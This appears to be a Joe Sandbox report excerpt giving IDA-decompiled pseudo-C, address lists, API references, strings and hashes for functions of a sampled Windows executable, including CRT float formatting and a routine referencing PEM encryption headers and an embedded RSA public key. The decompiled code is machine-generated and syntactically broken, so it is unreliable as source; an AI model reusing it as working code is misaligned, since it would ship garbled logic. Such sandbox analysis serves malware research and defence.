				if (_t1229 + _t1223 == _t839) goto 0xe3748130;
				goto 0xe37480c4;
				if (0 == 0) goto 0xe3748182;
				if (r9d == 0x73) goto 0xe3748295;
				if (r9d != r14d) goto 0xe3748158;
				 *(_t1170 + 0x400000000004f4) =  *(_t1170 + 0x400000000004f4) & 0x00000000;
				_t392 = _t1223 + 1; // 0x1
				 *(_t1170 + 0x4f0) = _t392;
				r9d = r9d + 1;
				_t810 =  *((intOrPtr*)(_t1170 + 0x4f4 + _t1101 * 4));
				 *((intOrPtr*)(_t1170 + 0x4f4 + _t1101 * 4)) = _t810;
				r14d =  *(_t1170 + 0x4f0);
				if (_t810 != 0) goto 0xe3748134;
				if (r9d == 0x73) goto 0xe3748295;
				r10d = r10d + 1;
				if (r10d != r12d) goto 0xe3748084;
				r8d = r14d;
				_t1205 = _t1204 << 2;
				 *(_t1170 - 0x80) = r14d;
				if (_t1205 == 0) goto 0xe37481e7;
				if (_t1205 - 0 > 0) goto 0xe37481c9;
				E00007FF77FF7E373BC10(r9d, _t839, _t859, _t861, _t1170 - 0x7c, _t1170 + 0x4f4, _t1161, _t1165 << 2, _t1205);
				goto 0xe37481e3;
				E00007FF77FF7E373B860(r9d, 0, _t839, _t861, _t1170 - 0x7c, _t1170 + 0x4f4, _t1161, 0);
				_t667 = E00007FF77FF7E3740720(0);
				 *0 = 0x22;
				E00007FF77FF7E3740600(_t667);
				r14d =  *(_t1170 - 0x80);
				r12d =  *(_t1172 + 0x40);
				r13d =  *(_t1172 + 0x48);
				if (1 == 0) goto 0xe3748295;
				r12d = r12d - r13d;
				 *(_t1172 + 0x40) = r12d;
				if (1 != 0) goto 0xe3747e84;
				r13d = 0;
				if (1 == 0) goto 0xe37482bf;
				_t674 =  *0x407FF7E3752378;
				if (_t674 == 0) goto 0xe3748298;
				if (_t674 == 1) goto 0xe37482bf;
				if (r14d == 0) goto 0xe37482bf;
				r8d = r13d;
				r9d = r13d;
				r10d = _t674;
				r9d = r9d + 1;
				if (r9d != r14d) goto 0xe374824d;
				if (r8d == 0) goto 0xe37482bb;
				if ( *(_t1170 - 0x80) - 0x73 >= 0) goto 0xe37482ad;
				 *(_t1170 + 0x3fffffffffff84) = r8d;
				r14d =  *(_t1170 - 0x80);
				r14d = r14d + 1;
				 *(_t1170 - 0x80) = r14d;
				goto 0xe37482c3;
				r13d = 0;
				 *(_t1170 - 0x80) = r13d;
				goto 0xe3748334;
				 *(_t1170 - 0x80) = r13d;
				goto 0xe3748334;
				r14d =  *(_t1170 - 0x80);
				_t842 =  *(_t1172 + 0x30);
				_t1169 =  *((intOrPtr*)(_t1172 + 0x50));
				if (r14d == 0) goto 0xe3748334;
				r8d = r13d;
				r9d = r13d;
				r9d = r9d + 1;
				 *(_t1170 + 0x1ffdf8dc3ff84) = r8d;
				if (r9d != r14d) goto 0xe37482d6;
				if (r8d == 0) goto 0xe3748334;
				if ( *(_t1170 - 0x80) - 0x73 >= 0) goto 0xe3748311;
				 *(_t1170 + 0x3fffffffffff84) = r8d;
				 *(_t1170 - 0x80) =  *(_t1170 - 0x80) + 1;
				goto 0xe3748334;
				r9d = 0;
				 *(_t1170 + 0x320) = r13d;
				 *(_t1170 - 0x80) = r13d;
				E00007FF77FF7E374862C( *(_t1170 + 0x1ffdf8dc3ff84), 0x1cc, _t842, _t859, _t861, 0, _t1169, _t1170 - 0x7c, 0x7ff7e3710000, _t1169, _t1170 + 0x324, _t1223);
				_t1155 = _t1170 + 0x150;
				if (E00007FF77FF7E3746DF0(_t1170 - 0x80, _t1155) != 0xa) goto 0xe37483dd;
				_t843 = _t842 + 1;
				 *_t1169 = 0x31;
				if (r15d == 0) goto 0xe37483ed;
				r8d = r13d;
				r9d = r13d;
				r9d = r9d + 1;
				 *(_t1170 + 0x154 + _t1155 * 4) = r8d;
				if (r9d != r15d) goto 0xe3748365;
				if (r8d == 0) goto 0xe37483ed;
				if ( *(_t1170 + 0x150) - 0x73 >= 0) goto 0xe37483b2;
				 *(_t1170 + 0x40000000000154) = r8d;
				 *(_t1170 + 0x150) =  *(_t1170 + 0x150) + 1;
				goto 0xe37483ed;
				r9d = 0;
				 *(_t1170 + 0x320) = r13d;
				 *(_t1170 + 0x150) = r13d;
				_t685 = E00007FF77FF7E374862C( *(_t1170 + 0x1ffdf8dc3ff84), 0x1cc, _t843, _t859, _t861, 0, _t1169 + 1, _t1170 + 0x154, _t1155, _t1169, _t1170 + 0x324, _t1223);
				goto 0xe37483ed;
				if (_t685 != 0) goto 0xe37483e5;
				_t844 = _t843 - 1;
				goto 0xe37483ed;
				_t1066 = _t1169 + 1;
				 *_t1169 = 1;
				_t767 =  *((intOrPtr*)(_t1172 + 0x4c));
				 *((intOrPtr*)( *((intOrPtr*)(_t1172 + 0x70)) + 4)) = _t844;
				if (_t844 < 0) goto 0xe3748407;
				if (_t767 - 0x7fffffff > 0) goto 0xe3748407;
				_t768 = _t767 + _t844;
				_t1044 =  *((intOrPtr*)(_t1170 + 0x740)) - 1;
				_t845 = _t768;
				_t1162 =  <  ? _t1044 : _t1161;
				_t1163 = ( <  ? _t1044 : _t1161) + _t1169;
				if (_t1066 == _t1163) goto 0xe374850e;
				r14d = 9;
				_t860 = _t859 | 0xffffffff;
				r10d =  *(_t1170 - 0x80);
				if (r10d == 0) goto 0xe374850e;
				r8d = r13d;
				r9d = r13d;
				r9d = r9d + 1;
				 *(_t1170 + _t1155 * 4 - 0x7c) = _t768;
				if (r9d != r10d) goto 0xe3748442;
				if (r8d == 0) goto 0xe37484a4;
				if ( *(_t1170 - 0x80) - 0x73 >= 0) goto 0xe3748481;
				 *(_t1170 + _t1044 * 4 - 0x7c) = r8d;
				 *(_t1170 - 0x80) =  *(_t1170 - 0x80) + 1;
				goto 0xe37484a4;
				r9d = 0;
				 *(_t1170 + 0x320) = r13d;
				 *(_t1170 - 0x80) = r13d;
				E00007FF77FF7E374862C(_t768, 0x1cc, _t845, _t860, _t861, _t1044, _t1066, _t1170 - 0x7c, _t1155, _t1169, _t1170 + 0x324, _t1223);
				_t1156 = _t1170 + 0x150;
				_t1113 = _t1170 - 0x80;
				E00007FF77FF7E3746DF0(_t1113, _t1156);
				r10d = _t845;
				_t1218 = _t1044;
				r10d = r10d - _t810;
				r9d = 8;
				r8b = r8b - _t1113 + _t1156 + _t1113 + _t1156;
				_t515 = _t1218 + 0x30; // 0x30
				r8d = 0xcccccccd * r8d >> 0x20 >> 3;
				if (r10d - r9d < 0) goto 0xe37484ed;
				 *((char*)(_t1044 + _t1066)) = _t515;
				r9d = r9d + _t860;
				if (r9d != _t860) goto 0xe37484c3;
				_t1046 = _t1163 - _t1066;
				_t1047 =  >  ? _t1240 : _t1046;
				_t1067 = _t1066 + ( >  ? _t1240 : _t1046);
				if (_t1067 != _t1163) goto 0xe374842f;
				 *_t1067 = r13b;
				goto 0xe374858e;
				if (E00007FF77FF7E373FF84( >  ? _t1240 : _t1046, _t1240,  *((intOrPtr*)(_t1170 + 0x740)), "1#IND") == 0) goto 0xe374858e;
				goto 0xe37485d7;
				if (E00007FF77FF7E373FF84( >  ? _t1240 : _t1046, _t1240,  *((intOrPtr*)(_t1170 + 0x740)), "1#SNAN") == 0) goto 0xe374858e;
				goto 0xe37485ec;
				if (E00007FF77FF7E373FF84( >  ? _t1240 : _t1046, _t1240,  *((intOrPtr*)(_t1170 + 0x740)), "1#QNAN") == 0) goto 0xe374858e;
				goto 0xe3748601;
				if (E00007FF77FF7E373FF84( >  ? _t1240 : _t1046, _t1240,  *((intOrPtr*)(_t1170 + 0x740)), 0xe37523a0) != 0) goto 0xe3748616;
				if ( *((intOrPtr*)(_t1172 + 0x68)) == r13b) goto 0xe374859f;
				_t522 = _t1172 + 0x60; // 0x1000000000005f
				_t701 = E00007FF77FF7E374922C( *((intOrPtr*)(_t1172 + 0x68)) - r13b, _t522);
				E00007FF77FF7E374AB20();
				return _t701;
			}

0x7ff7e37472c0
0x7ff7e37472c0
0x7ff7e37472c0
0x7ff7e37472cd
0x7ff7e37472d5
0x7ff7e37472dc
0x7ff7e37472e6
0x7ff7e37472ed
0x7ff7e37472fa
0x7ff7e3747302
0x7ff7e3747309
0x7ff7e3747312
0x7ff7e374731a
0x7ff7e374731c
0x7ff7e3747321
0x7ff7e3747328
0x7ff7e374732d
0x7ff7e3747332
0x7ff7e3747344
0x7ff7e3747367
0x7ff7e374736c
0x7ff7e374736e
0x7ff7e3747374
0x7ff7e3747379
0x7ff7e374738c
0x7ff7e3747397
0x7ff7e374739d
0x7ff7e37473a2
0x7ff7e37473a7
0x7ff7e37473ac
0x7ff7e37473ae
0x7ff7e37473b0
0x7ff7e37473bb
0x7ff7e37473c4
0x7ff7e37473cd
0x7ff7e37473d6
0x7ff7e37473e6
0x7ff7e37473ec
0x7ff7e37473f1
0x7ff7e37473f6
0x7ff7e37473fc
0x7ff7e3747402
0x7ff7e374740a
0x7ff7e374740e
0x7ff7e3747415
0x7ff7e3747426
0x7ff7e3747429
0x7ff7e3747432
0x7ff7e3747437
0x7ff7e3747439
0x7ff7e3747447
0x7ff7e374744e
0x7ff7e3747453
0x7ff7e3747457
0x7ff7e374745b
0x7ff7e374746c
0x7ff7e374746f
0x7ff7e3747473
0x7ff7e3747476
0x7ff7e374747d
0x7ff7e3747484
0x7ff7e3747488
0x7ff7e374748b
0x7ff7e3747490
0x7ff7e3747498
0x7ff7e37474a2
0x7ff7e37474ab
0x7ff7e37474b3
0x7ff7e37474b9
0x7ff7e37474ca
0x7ff7e37474d0
0x7ff7e37474d3
0x7ff7e37474d6
0x7ff7e37474d8
0x7ff7e37474dc
0x7ff7e37474e1
0x7ff7e37474e6
0x7ff7e37474ea
0x7ff7e37474f9
0x7ff7e37474fc
0x7ff7e3747500
0x7ff7e3747503
0x7ff7e3747506
0x7ff7e374750a
0x7ff7e3747511
0x7ff7e3747518
0x7ff7e374751f
0x7ff7e3747526
0x7ff7e374752e
0x7ff7e3747533
0x7ff7e374753a
0x7ff7e3747542
0x7ff7e3747548
0x7ff7e3747551
0x7ff7e3747558
0x7ff7e374755a
0x7ff7e374755d
0x7ff7e3747560
0x7ff7e3747567
0x7ff7e374756c
0x7ff7e374756e
0x7ff7e3747573
0x7ff7e3747575
0x7ff7e3747578
0x7ff7e374757e
0x7ff7e3747584
0x7ff7e374758f
0x7ff7e3747592
0x7ff7e3747598
0x7ff7e37475a2
0x7ff7e37475a9
0x7ff7e37475ab
0x7ff7e37475ae
0x7ff7e37475b0
0x7ff7e37475b6
0x7ff7e37475bf
0x7ff7e37475c6
0x7ff7e37475ce
0x7ff7e37475d3
0x7ff7e37475d7
0x7ff7e37475db
0x7ff7e37475df
0x7ff7e37475e1
0x7ff7e37475e4
0x7ff7e37475e7
0x7ff7e37475eb
0x7ff7e37475f5
0x7ff7e37475fa
0x7ff7e3747600
0x7ff7e3747607
0x7ff7e374760e
0x7ff7e3747615
0x7ff7e374761a
0x7ff7e374761f
0x7ff7e3747623
0x7ff7e3747629
0x7ff7e374762d
0x7ff7e3747631
0x7ff7e3747637
0x7ff7e3747640
0x7ff7e3747645
0x7ff7e374764a
0x7ff7e374764d
0x7ff7e3747650
0x7ff7e3747654
0x7ff7e374765a
0x7ff7e3747661
0x7ff7e3747668
0x7ff7e374766f
0x7ff7e3747674
0x7ff7e3747679
0x7ff7e374767d
0x7ff7e3747684
0x7ff7e374768c
0x7ff7e3747692
0x7ff7e374769b
0x7ff7e37476a2
0x7ff7e37476a4
0x7ff7e37476a7
0x7ff7e37476aa
0x7ff7e37476b1
0x7ff7e37476b6
0x7ff7e37476b8
0x7ff7e37476bd
0x7ff7e37476bf
0x7ff7e37476c2
0x7ff7e37476c8
0x7ff7e37476ce
0x7ff7e37476d2
0x7ff7e37476d8
0x7ff7e37476e3
0x7ff7e37476e6
0x7ff7e37476eb
0x7ff7e37476ef
0x7ff7e37476f9
0x7ff7e37476fb
0x7ff7e37476fe
0x7ff7e3747700
0x7ff7e3747709
0x7ff7e374770f
0x7ff7e3747717
0x7ff7e374771c
0x7ff7e3747720
0x7ff7e3747724
0x7ff7e3747728
0x7ff7e374772a
0x7ff7e374772d
0x7ff7e3747730
0x7ff7e3747734
0x7ff7e374773a
0x7ff7e3747745
0x7ff7e374774d
0x7ff7e3747757
0x7ff7e3747760
0x7ff7e3747768
0x7ff7e374776e
0x7ff7e374777f
0x7ff7e3747785
0x7ff7e3747788
0x7ff7e374778b
0x7ff7e374778d
0x7ff7e3747791
0x7ff7e3747796
0x7ff7e374779a
0x7ff7e37477a5
0x7ff7e37477a9
0x7ff7e37477af
0x7ff7e37477b3
0x7ff7e37477b8
0x7ff7e37477ba
0x7ff7e37477bd
0x7ff7e37477c2
0x7ff7e37477c8
0x7ff7e37477dc
0x7ff7e37477e3
0x7ff7e37477e8
0x7ff7e37477ea
0x7ff7e37477f4
0x7ff7e37477f9
0x7ff7e37477fc
0x7ff7e3747803
0x7ff7e3747807
0x7ff7e374780c
0x7ff7e3747810
0x7ff7e3747813
0x7ff7e374781b
0x7ff7e374781b
0x7ff7e3747822
0x7ff7e374782a
0x7ff7e3747830
0x7ff7e3747837
0x7ff7e374783a
0x7ff7e3747841
0x7ff7e374784b
0x7ff7e3747856
0x7ff7e374785d
0x7ff7e3747860
0x7ff7e3747866
0x7ff7e374786d
0x7ff7e3747872
0x7ff7e3747877
0x7ff7e374787a
0x7ff7e3747881
0x7ff7e3747886
0x7ff7e374788a
0x7ff7e3747894
0x7ff7e37478a1
0x7ff7e37478a9
0x7ff7e37478ae
0x7ff7e37478b4
0x7ff7e37478b8
0x7ff7e37478ba
0x7ff7e37478c3
0x7ff7e37478ca
0x7ff7e37478cc
0x7ff7e37478d1
0x7ff7e37478d5
0x7ff7e37478da
0x7ff7e37478dc
0x7ff7e37478df
0x7ff7e37478e4
0x7ff7e37478ea
0x7ff7e37478fc
0x7ff7e3747903
0x7ff7e3747908
0x7ff7e374790a
0x7ff7e374790d
0x7ff7e3747914
0x7ff7e3747918
0x7ff7e374791c
0x7ff7e374791e
0x7ff7e3747921
0x7ff7e3747924
0x7ff7e374792b
0x7ff7e374793d
0x7ff7e3747944
0x7ff7e374794c
0x7ff7e374794c
0x7ff7e3747953
0x7ff7e374795d
0x7ff7e3747968
0x7ff7e3747972
0x7ff7e3747977
0x7ff7e374797c
0x7ff7e3747982
0x7ff7e3747987
0x7ff7e3747996
0x7ff7e37479a8
0x7ff7e37479ab
0x7ff7e37479af
0x7ff7e37479b2
0x7ff7e37479b8
0x7ff7e37479c3
0x7ff7e37479c9
0x7ff7e37479cd
0x7ff7e37479ec
0x7ff7e37479fd
0x7ff7e3747a03
0x7ff7e3747a0f
0x7ff7e3747a33
0x7ff7e3747a38
0x7ff7e3747a43
0x7ff7e3747a49
0x7ff7e3747a51
0x7ff7e3747a53
0x7ff7e3747a56
0x7ff7e3747a5d
0x7ff7e3747a65
0x7ff7e3747a6e
0x7ff7e3747a74
0x7ff7e3747a7a
0x7ff7e3747a9e
0x7ff7e3747aa4
0x7ff7e3747aa9
0x7ff7e3747ab2
0x7ff7e3747aba
0x7ff7e3747ac2
0x7ff7e3747ac9
0x7ff7e3747acc
0x7ff7e3747ace
0x7ff7e3747ad1
0x7ff7e3747ada
0x7ff7e3747adf
0x7ff7e3747ae6
0x7ff7e3747aef
0x7ff7e3747af5
0x7ff7e3747afe
0x7ff7e3747b02
0x7ff7e3747b05
0x7ff7e3747b0f
0x7ff7e3747b16
0x7ff7e3747b20
0x7ff7e3747b29
0x7ff7e3747b2e
0x7ff7e3747b35
0x7ff7e3747b3a
0x7ff7e3747b3f
0x7ff7e3747b45
0x7ff7e3747b4a
0x7ff7e3747b53
0x7ff7e3747b5c
0x7ff7e3747b65
0x7ff7e3747b6b
0x7ff7e3747b6e
0x7ff7e3747b71
0x7ff7e3747b91
0x7ff7e3747b95
0x7ff7e3747b9b
0x7ff7e3747b9d
0x7ff7e3747bac
0x7ff7e3747bc2
0x7ff7e3747bc6
0x7ff7e3747bca
0x7ff7e3747bce
0x7ff7e3747bd5
0x7ff7e3747bd9
0x7ff7e3747bdc
0x7ff7e3747bdf
0x7ff7e3747be4
0x7ff7e3747bee
0x7ff7e3747bf4
0x7ff7e3747bfe
0x7ff7e3747c03
0x7ff7e3747c09
0x7ff7e3747c11
0x7ff7e3747c11
0x7ff7e3747c15
0x7ff7e3747c1c
0x7ff7e3747c23
0x7ff7e3747c29
0x7ff7e3747c38
0x7ff7e3747c3d
0x7ff7e3747c42
0x7ff7e3747c46
0x7ff7e3747c54
0x7ff7e3747c5e
0x7ff7e3747c64
0x7ff7e3747c82
0x7ff7e3747c8a
0x7ff7e3747c98
0x7ff7e3747c9f
0x7ff7e3747ca3
0x7ff7e3747ca9
0x7ff7e3747cb2
0x7ff7e3747cb7
0x7ff7e3747cbf
0x7ff7e3747cc3
0x7ff7e3747ccc
0x7ff7e3747cdb
0x7ff7e3747ce2
0x7ff7e3747cf1
0x7ff7e3747cf7
0x7ff7e3747d02
0x7ff7e3747d08
0x7ff7e3747d0e
0x7ff7e3747d11
0x7ff7e3747d15
0x7ff7e3747d1f
0x7ff7e3747d26
0x7ff7e3747d30
0x7ff7e3747d39
0x7ff7e3747d3e
0x7ff7e3747d45
0x7ff7e3747d4a
0x7ff7e3747d4f
0x7ff7e3747d55
0x7ff7e3747d5a
0x7ff7e3747d61
0x7ff7e3747d66
0x7ff7e3747d6f
0x7ff7e3747d75
0x7ff7e3747d7f
0x7ff7e3747d84
0x7ff7e3747d8e
0x7ff7e3747d9e
0x7ff7e3747da7
0x7ff7e3747db0
0x7ff7e3747db9
0x7ff7e3747dc2
0x7ff7e3747dc8
0x7ff7e3747dcb
0x7ff7e3747dce
0x7ff7e3747dd4
0x7ff7e3747df9
0x7ff7e3747dfe
0x7ff7e3747e07
0x7ff7e3747e0f
0x7ff7e3747e17
0x7ff7e3747e1e
0x7ff7e3747e21
0x7ff7e3747e28
0x7ff7e3747e2d
0x7ff7e3747e30
0x7ff7e3747e33
0x7ff7e3747e3a
0x7ff7e3747e3f
0x7ff7e3747e42
0x7ff7e3747e49
0x7ff7e3747e4e
0x7ff7e3747e55
0x7ff7e3747e5d
0x7ff7e3747e61
0x7ff7e3747e6e
0x7ff7e3747e71
0x7ff7e3747e75
0x7ff7e3747e78
0x7ff7e3747e7e
0x7ff7e3747e89
0x7ff7e3747e8f
0x7ff7e3747e93
0x7ff7e3747eb2
0x7ff7e3747ec3
0x7ff7e3747ec9
0x7ff7e3747ef9
0x7ff7e3747efe
0x7ff7e3747f07
0x7ff7e3747f0d
0x7ff7e3747f15
0x7ff7e3747f17
0x7ff7e3747f1a
0x7ff7e3747f1e
0x7ff7e3747f26
0x7ff7e3747f2f
0x7ff7e3747f35
0x7ff7e3747f3b
0x7ff7e3747f59
0x7ff7e3747f5f
0x7ff7e3747f64
0x7ff7e3747f6a
0x7ff7e3747f6f
0x7ff7e3747f74
0x7ff7e3747f78
0x7ff7e3747f7b
0x7ff7e3747f7d
0x7ff7e3747f80
0x7ff7e3747f86
0x7ff7e3747f8b
0x7ff7e3747f8f
0x7ff7e3747f98
0x7ff7e3747f9e
0x7ff7e3747fa4
0x7ff7e3747fa8
0x7ff7e3747fab
0x7ff7e3747fb1
0x7ff7e3747fb8
0x7ff7e3747fbf
0x7ff7e3747fc8
0x7ff7e3747fcd
0x7ff7e3747fd4
0x7ff7e3747fd9
0x7ff7e3747fde
0x7ff7e3747fe4
0x7ff7e3747fe9
0x7ff7e3747fef
0x7ff7e3747ff8
0x7ff7e3748001
0x7ff7e3748007
0x7ff7e374800a
0x7ff7e374800d
0x7ff7e3748027
0x7ff7e374802b
0x7ff7e3748031
0x7ff7e3748033
0x7ff7e374803f
0x7ff7e3748052
0x7ff7e3748056
0x7ff7e374805a
0x7ff7e374805e
0x7ff7e3748065
0x7ff7e3748069
0x7ff7e374806c
0x7ff7e374806f
0x7ff7e3748074
0x7ff7e374807e
0x7ff7e3748084
0x7ff7e374808e
0x7ff7e3748093
0x7ff7e3748099
0x7ff7e37480a1
0x7ff7e37480a1
0x7ff7e37480a5
0x7ff7e37480ac
0x7ff7e37480b3
0x7ff7e37480b8
0x7ff7e37480be
0x7ff7e37480c1
0x7ff7e37480c8
0x7ff7e37480cd
0x7ff7e37480d2
0x7ff7e37480d6
0x7ff7e37480e4
0x7ff7e37480ee
0x7ff7e37480f4
0x7ff7e3748112
0x7ff7e374811a
0x7ff7e3748127
0x7ff7e374812e
0x7ff7e3748132
0x7ff7e3748138
0x7ff7e3748141
0x7ff7e3748146
0x7ff7e374814e
0x7ff7e3748152
0x7ff7e374815b
0x7ff7e3748160
0x7ff7e374816a
0x7ff7e3748171
0x7ff7e3748180
0x7ff7e3748186
0x7ff7e3748191
0x7ff7e3748197
0x7ff7e374819d
0x7ff7e37481a0
0x7ff7e37481a4
0x7ff7e37481ab
0x7ff7e37481b9
0x7ff7e37481c2
0x7ff7e37481c7
0x7ff7e37481ce
0x7ff7e37481d3
0x7ff7e37481d8
0x7ff7e37481de
0x7ff7e37481e3
0x7ff7e37481e7
0x7ff7e37481ec
0x7ff7e37481f5
0x7ff7e37481fb
0x7ff7e3748205
0x7ff7e374820a
0x7ff7e3748214
0x7ff7e3748222
0x7ff7e374822b
0x7ff7e3748234
0x7ff7e3748239
0x7ff7e3748242
0x7ff7e3748244
0x7ff7e3748247
0x7ff7e374824a
0x7ff7e3748250
0x7ff7e374826f
0x7ff7e3748274
0x7ff7e374827e
0x7ff7e3748283
0x7ff7e3748288
0x7ff7e374828c
0x7ff7e374828f
0x7ff7e3748293
0x7ff7e3748295
0x7ff7e37482a4
0x7ff7e37482a8
0x7ff7e37482b5
0x7ff7e37482b9
0x7ff7e37482bb
0x7ff7e37482bf
0x7ff7e37482c3
0x7ff7e37482ce
0x7ff7e37482d0
0x7ff7e37482d3
0x7ff7e37482d9
0x7ff7e37482eb
0x7ff7e37482f7
0x7ff7e37482fc
0x7ff7e3748302
0x7ff7e3748307
0x7ff7e374830c
0x7ff7e374830f
0x7ff7e3748311
0x7ff7e3748314
0x7ff7e3748322
0x7ff7e374832f
0x7ff7e3748334
0x7ff7e3748347
0x7ff7e374834d
0x7ff7e374834f
0x7ff7e3748359
0x7ff7e374835f
0x7ff7e3748362
0x7ff7e3748368
0x7ff7e374837d
0x7ff7e374838c
0x7ff7e3748391
0x7ff7e374839a
0x7ff7e37483a2
0x7ff7e37483aa
0x7ff7e37483b0
0x7ff7e37483b2
0x7ff7e37483b5
0x7ff7e37483c3
0x7ff7e37483d6
0x7ff7e37483db
0x7ff7e37483df
0x7ff7e37483e1
0x7ff7e37483e3
0x7ff7e37483e7
0x7ff7e37483eb
0x7ff7e37483f2
0x7ff7e37483f6
0x7ff7e37483fb
0x7ff7e3748403
0x7ff7e3748405
0x7ff7e374840e
0x7ff7e3748411
0x7ff7e3748416
0x7ff7e374841a
0x7ff7e3748420
0x7ff7e3748426
0x7ff7e374842c
0x7ff7e374842f
0x7ff7e3748436
0x7ff7e374843c
0x7ff7e374843f
0x7ff7e3748445
0x7ff7e374845c
0x7ff7e3748467
0x7ff7e374846c
0x7ff7e3748472
0x7ff7e3748477
0x7ff7e374847c
0x7ff7e374847f
0x7ff7e3748481
0x7ff7e3748484
0x7ff7e3748492
0x7ff7e374849f
0x7ff7e37484a4
0x7ff7e37484ab
0x7ff7e37484af
0x7ff7e37484b4
0x7ff7e37484b7
0x7ff7e37484ba
0x7ff7e37484bd
0x7ff7e37484d8
0x7ff7e37484db
0x7ff7e37484df
0x7ff7e37484e5
0x7ff7e37484ea
0x7ff7e37484ed
0x7ff7e37484f3
0x7ff7e37484f8
0x7ff7e37484fe
0x7ff7e3748502
0x7ff7e3748508
0x7ff7e374850e
0x7ff7e3748511
0x7ff7e374852b
0x7ff7e374852d
0x7ff7e374854a
0x7ff7e374854c
0x7ff7e3748569
0x7ff7e374856b
0x7ff7e3748588
0x7ff7e3748593
0x7ff7e3748595
0x7ff7e374859a
0x7ff7e37485a9
0x7ff7e37485c1

APIs

fegetenv.LIBCMT ref: 00007FF7E3747309
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7E3747982
memcpy_s.LIBCMT ref: 00007FF7E374832F
memcpy_s.LIBCMT ref: 00007FF7E37483D6

Part of subcall function 00007FF7E374862C: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E374865E

memcpy_s.LIBCMT ref: 00007FF7E374849F

Part of subcall function 00007FF7E373FF84: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7E373FFA9

Strings

1#IND, xrefs: 00007FF7E374851A
1#INF, xrefs: 00007FF7E3748577
1#QNAN, xrefs: 00007FF7E3748558
1#SNAN, xrefs: 00007FF7E3748539

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: _invalid_parameter_noinfomemcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 281475176-2761157908
Opcode ID: db70851dd9446a033d5b5955465926b3c5911044f5a88678f30fa95e57aee46e
Instruction ID: 7057a356adb9a5878c04016a6e7ab45886021fc61e9f374df64612d1f37c3c26
Opcode Fuzzy Hash: db70851dd9446a033d5b5955465926b3c5911044f5a88678f30fa95e57aee46e
Instruction Fuzzy Hash: 91B21872A081C28BF7A5AE29D4807FDBB91FB4C388F905136DA1977B84DB39F5108B51

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF7E372A070 Relevance: 12.3, APIs: 2, Strings: 6, Instructions: 268
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF77FF7E372A070(void* __rcx, void* __rdx, void* __r8, void* __r9) {

				if (__rcx != 0) goto 0xe372a0a2;
				return 0xffffeb80;
			}

0x7ff7e372a08e
0x7ff7e372a0a1

APIs

strstr.LIBVCRUNTIME ref: 00007FF7E372A0AA

Strings

DEK-Info: AES-128-CBC,, xrefs: 00007FF7E372A29F
Proc-Type: 4,ENCRYPTED, xrefs: 00007FF7E372A188
DEK-Info: AES-192-CBC,, xrefs: 00007FF7E372A2BD
-----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ, xrefs: 00007FF7E372A072
DEK-Info: AES-256-CBC,, xrefs: 00007FF7E372A2DB
DEK-Info: DES-EDE3-CBC,, xrefs: 00007FF7E372A1D2

Memory Dump Source

Source File: 00000000.00000002.2994512350.00007FF7E3711000.00000080.00000001.01000000.00000000.sdmp, Offset: 00007FF7E3710000, based on PE: true

Associated: 00000000.00000002.2994424958.00007FF7E3710000.00000002.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994733829.00007FF7E374C000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994795597.00007FF7E374D000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994889558.00007FF7E3764000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994932201.00007FF7E3768000.00000040.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2994995479.00007FF7E376C000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995043449.00007FF7E3772000.00000080.00000001.01000000.00000000.sdmpDownload File
Associated: 00000000.00000002.2995078639.00007FF7E3775000.00000004.00000001.01000000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7e3710000_ZunmmW7pe5.jbxd

Similarity

API ID: strstr
String ID: -----BEGIN PUBLIC KEY-----MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4g06WvN+BRr9GeeOkZ4ynnK1uHreCPZyEsc43g3ftVXqsq2Kbdy7Z+XORqxmBi8D5nhDfw3eHRzH8wpcUos3szWKyJLOeKhN6DM5M4FppD8hyuKDTcgsa70Nhapc1Oyjfh3kf3Kc/2CUhnPYEzHefHN3yOq9wxOVGc1S+bcTM3ez8gRuv0fB9ao2bJ$DEK-Info: AES-128-CBC,$DEK-Info: AES-192-CBC,$DEK-Info: AES-256-CBC,$DEK-Info: DES-EDE3-CBC,$Proc-Type: 4,ENCRYPTED
API String ID: 1392478783-1917248968
Opcode ID: af0ef5ec4c82dcc3c01ae7c59c2df6124d78fbd3e5d4373651a5ce08c5825ce8
